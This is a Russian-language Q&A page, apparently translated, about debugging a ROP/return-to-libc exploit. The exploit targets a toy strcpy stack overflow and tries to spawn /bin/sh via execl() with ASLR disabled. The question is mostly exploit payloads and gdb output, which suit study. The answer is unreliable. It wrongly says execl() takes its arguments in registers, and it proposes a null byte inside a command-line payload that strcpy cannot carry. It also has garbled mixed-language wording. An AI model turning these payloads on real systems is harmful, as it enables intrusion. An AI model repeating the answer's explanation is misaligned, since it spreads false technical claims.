Вопрос или проблема
ROP выполняет оболочку с execl() – /bin/sh: 0: Не удается открыть
Уязвимая программа C для переполнения буфера стека требует 112 байт для достижения адреса возврата вызывающей функции. Здесь Strcpy() является уязвимой функцией.
void f(char *name){
char buf[100];
strcpy(buf, name);
}
void main(int argc, char *argv[]){
f(argv[1]);
}
Пытаемся записать ROP-гирлянды для выполнения оболочки /bin/sh с помощью execl().
Эксплойт будет следующим:
python -c 'print 112*"\x90" + "addr. execl()" + "addr. exit()" + "addr. /bin/sh" + "addr. /bin/sh"'
Из gdb были найдены следующие адреса (ASLR отключен для теста):
(gdb) print execl
$1 = 0xb7eb7b60 <__GI_execl>
(gdb) print exit
$2 = 0xb7e359e0 <__GI_exit>
(gdb) info proc map
...(вывод опущен)
(gdb) find 0xb7e07000,0xb7fbb000,"/bin/sh"
0xb7f62b0b
1 найденный паттерн.
(gdb) x/s 0xb7f62b0b
0xb7f62b0b: "/bin/sh"
(gdb) run $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
Запуск программы: /home/marco/asm/execve/bypass_aslr/rop/prove/main $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
процесс 3161 выполняет новую программу: /bin/dash
/bin/sh: 0: Не удается открыть UWVS��������
[Вторичный 1 (процесс 3161) завершился с кодом 0177]
Тот же тест с использованием system() дает оболочку.
Я не понимаю, если execl() успешен и заменяет ли он текущий образ процесса.
Платформа: Ubuntu 16.04 – 32 бита.
ОБНОВЛЕНИЕ:
Я добавил несколько гаджетов к эксплойту и получил другой результат. Вкратце, я добавил gets() для записи байта NULL в качестве третьего аргумента для передачи в execl(). Эксплойт будет записывать стек в следующем порядке:
addr. exit()
фейковый байт (NULL будет записан здесь)
addr. /bin/sh
addr. /bin/sh
addr. pop\pop\pop\ret
addr. execl()
addr. где записать NULL байт
addr. pop\ret
addr. gets() <-- ESP будет здесь, когда придет время вернуться к вызывающему
112 NOP
Из gdb я запускаю эксплойт, ввожу “новая строка”, так что gets() записывает NULL в предоставленный адрес, и результат будет:
[Вторичный 1 (процесс 2793) завершился нормально]
На этот раз без ошибок, но снова без оболочки.
EDIT2: это стек после выполнения gets() и перед execl().
Команды под gdb, которые я использовал для обследования стека:
(gdb) b 10 --> это для остановки после strcpy() в .c коде
Точка останова 1 на 0x8048497: файл main.c, строка 10.
(gdb) run $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')
Запуск программы: /home/marco/rop/main $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')
Точка останова 1, func (name=0xb7e2d06e <__ctype_get_mb_cur_max+30> "X\303U\350\343\272\017") в main.c:10
(gdb) b *execl
Точка останова 2 на 0xb7eb9a80: файл execl.c, строка 31.
(gdb) c
Продолжение.
Точка останова 2, __GI_execl (path=0xb7f64a0b "/bin/sh", arg=0xb7f64a0b "/bin/sh") в execl.c:31
31 execl.c: Файл не существует.
(gdb) x/x $esp
0xbffff5ec: 0xb7ef334f
(gdb) x/x $esp+4
0xbffff5f0: 0xb7f64a0b
(gdb) x/x $esp+8
0xbffff5f4: 0xb7f64a0b
(gdb) x/4x $esp+12
0xbffff5f8: 0x00 0x42 0x42 0x42
(gdb) x/s $esp+12
0xbffff5f8: ""
Обратите внимание, этот тест был выполнен с другой Ubuntu 16.04, и адреса теперь:
"\xe0\x83\xe6\xb7" + -> gets()
"\x6e\xd0\xe2\xb7" + -> pop/ret
"\xf8\xf5\xff\xbf" + -> адрес, где записать NULL
"\x80\x9a\xeb\xb7" + -> execl()
"\x4f\x33\xef\xb7" + -> pop/pop/pop/ret
"\x0b\x4a\xf6\xb7" + -> addr. /bin/sh
"\x0b\x4a\xf6\xb7" + -> addr. /bin/sh
"\x42\x42\x42\x42" + -> фейковый адрес для перезаписи
"\xd0\x79\xe3\xb7" -> exit()
Я думаю, что вы делаете что-то не так. Аргументы системного вызова передаются в ebx, ecx, edx, esi, edi. Не в стеке, как в cdecl.
Проверьте это: https://www.exploit-db.com/docs/english/28479-return-oriented-programming-(rop-ftw).pdf
Ответ или решение
Для решения проблемы, связанной с выполнением оболочки через функцию execl()
при использовании ROP (Return-Oriented Programming), необходимо учесть несколько аспектов, касающихся передачи аргументов в функции и особенностей работы с системными вызовами в Linux.
Проблема
Вы получаете ошибку /bin/sh: 0: Can't open
при попытке запустить оболочку через execl()
, несмотря на то что system()
работает корректно. Это может быть связано с неправильной передачей аргументов в execl()
и тем, что execl()
ожидает аргументы в определённом формате.
Подход к решению
Функция execl()
передаёт аргументы по следующему принципу:
- Первый аргумент — путь к исполняемому файлу (например,
/bin/sh
). - Второй аргумент — имя программы, как оно должно представляться в процессе (обычно тоже
/bin/sh
). - Третий и последующие аргументы — дополнительные аргументы, заканчивающиеся нулевым указателем (NULL).
Исправления в вашем подходе
Вы упомянули, что использовали gets()
для записи нулевого байта, что может быть правильным, но также необходимо убедиться, что адреса для аргументов передаются правильно. Поскольку в архитектуре x86 системные вызовы передаются с использованием регистров (ebx
, ecx
, edx
и т.д.), не стоит полагаться только на стек для передачи аргументов.
Порядок аргументов в стеке
Ваша текущая расстановка адресов в стеке может выглядеть следующим образом:
- Адрес завершения работы программы (
exit()
) - Нулевой байт (что вы делаете с помощью
gets()
) - Адрес
/bin/sh
- Адрес снова на
/bin/sh
(это нужно, чтобы соответствовать ожиданиямexecl()
) - Возврат к следующему адресу, который может быть
execl()
.
Модифицированный пример
Вот как может выглядеть ваш новый вызов execl()
с использованием правильной передачи аргументов:
python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x00" + "\xd0\x79\xe3\xb7"'
В этом коде необходимо убедиться, что шестнадцатеричное представление нулевого байта используется правильно. Также необходимо проверить, что все адреса корректны и соответствуют компиляции программы.
Проверка с помощью GDB
Вы можете точно видеть, какие значения стека передаются в execl()
с помощью отладчика GDB. Убедитесь, что все аргументы выглядят отлично и их типы соответствуют ожидаемым execl
:
(breakpoint)
(gdb) c
(breakpoint)
(gdb) x/6x $esp
# Проверьте, что адреса и нулевые байты находятся на ожидаемых позициях
Заключение
Если вы выполните эти шаги и убедитесь, что порядок аргументов в execl()
корректен, он должен выполниться без ошибок, и вы получите оболочку. Метод system()
работает, потому что он сам обрабатывает аргументы в другом формате, в то время как execl()
требует более строгого подхода с regards к регистрам обработки аргументов.